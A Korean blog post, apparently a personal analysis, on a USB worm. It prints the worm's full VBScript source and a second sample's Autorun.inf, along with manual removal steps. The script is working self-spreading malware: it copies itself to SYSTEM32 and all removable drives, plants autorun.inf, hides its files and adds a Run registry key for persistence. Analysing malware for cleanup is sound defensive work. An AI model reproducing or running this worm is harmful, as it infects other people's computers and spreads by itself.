본문

USB 바이러스 VB, Autorun.inf 소스 & 치료방법

예전에 블로그스팟에 USB 바이러스 소스와 치료방법을 올려놨었는데,
이번에 새로운 USB 바이러스를 발견하였다.

이것 역시 소스를 분석하려 올려놓으려 했으나 알약을 무시무시한? 성능때문에 자동치료가 되어서 파일을 구하지 못했다. 그나마 남아있는 Autorun.inf 파일이 예전 방식-예전에는 내컴퓨터의 드라이브 컨텍스트 메뉴를 봐서 Autorun, 혹은 한자가 쓰여있으면 바이러스가 있는지 알 수 있었다-과는 다르게 한글도 지원되었기 때문에, Autorun.inf파일 원본도 같이 올려본다.


아래는 블로그스팟 내용.(밑에 Autorun.inf는 따로 추가된것.)

---



소스를 좀 보니까 나름 귀엽다(-_-?)
익스프로러 창에 "Hacked by"가 뜨고 내컴퓨터에서 드라이브로 들어가면 autorun.inf로 인해 884B0E95AB804B3.vbs라는 스크립트가 실행된다.

치료방법은 먼저 explorer.exe, WScript.exe를 (작업 관리자에서) 프로세스를 강제 종료한 후, \SYSTEM32아래의 884B0E95AB804B3.vbs파일을 삭제하고, USB메모리의 884B0E95AB804B3.vbs와 autorun.inf를 삭제하면 된다.

굵은 글씨는 이 프로그램의 핵심(?)이라고 생각되는곳.


884B0E95AB804B3.vbs
===================================
On error resume Next
Dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd,oldname,newname,rgname
Dim text,size
Set fs = createobject("Scripting.FileSystemObject")
Set WNet = WScript.CreateObject("WScript.Network")
Set mf = fs.getfile(Wscript.ScriptFullname)
oldname=CStr(fs.getfilename(Wscript.ScriptFullname))
newname = WNet.ComputerName & ".vbs"
'884B0E95AB804B3.vbs 884B0E95AB804B3.vbs 884B0E95AB804B3.vbs 884B0E95AB804B3.vbs 884B0E95AB804B3.vbs884B0E95AB804B3.vbs884B0E95AB804B3.vbs884B0E95AB804B3.vbs884B0E95AB804B3.vbs
rgname = Replace(newname,".vbs","")
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe 884B0E95AB804B3.vbs"
size = mf.size
check = mf.drive.drivetype
Set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline:mysource=mysource & vbcrlf
Loop
mysource=Replace(mysource,oldname,newname)
Do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 32
Set tf=fs.createtextfile(winpath & "\SYSTEM32\" & newname,2,true)
tf.write mysource
tf.close
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 39
For each flashdrive in fs.drives
If (flashdrive.drivetype = 1) and flashdrive.path <> "A:" Then
Set tf=fs.getfile(flashdrive.path &"\884B0E95AB804B3.vbs")
tf.attributes =32
Set tf=fs.createtextfile(flashdrive.path &"\884B0E95AB804B3.vbs",2,true)
tf.write mysource
tf.close
Set tf=fs.getfile(flashdrive.path &"\884B0E95AB804B3.vbs")
tf.attributes =39
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
Set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
End if
next
Set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & rgname & "",winpath&"\SYSTEM32\" & newname
if check <> 1 then
If Int((100-1+1)* Rnd+1)=9 And Int(Day(date))=9 Then
MsgBox "Mutation of Trojan virus!"
End if
Wscript.sleep 60000
Else
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by " & Replace(oldname,".vbs","")
End If
loop while check<>1
Set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname




Autorun.inf
===========================================
[AutoRun]
Open=.\Recycler\S-1-5-21-7014743567-045001703-1145176302-500\~WRL3523.tmp
Shell\Open\command=.\Recycler\S-1-5-21-7014743567-045001703-1145176302-500\~WRL3523.tmp
shell\explore\command=.\Recycler\S-1-5-21-7014743567-045001703-1145176302-500\~WRL3523.tmp

댓글

Holic Spirit :: Tistory Edition

design by tokiidesu. powerd by kakao.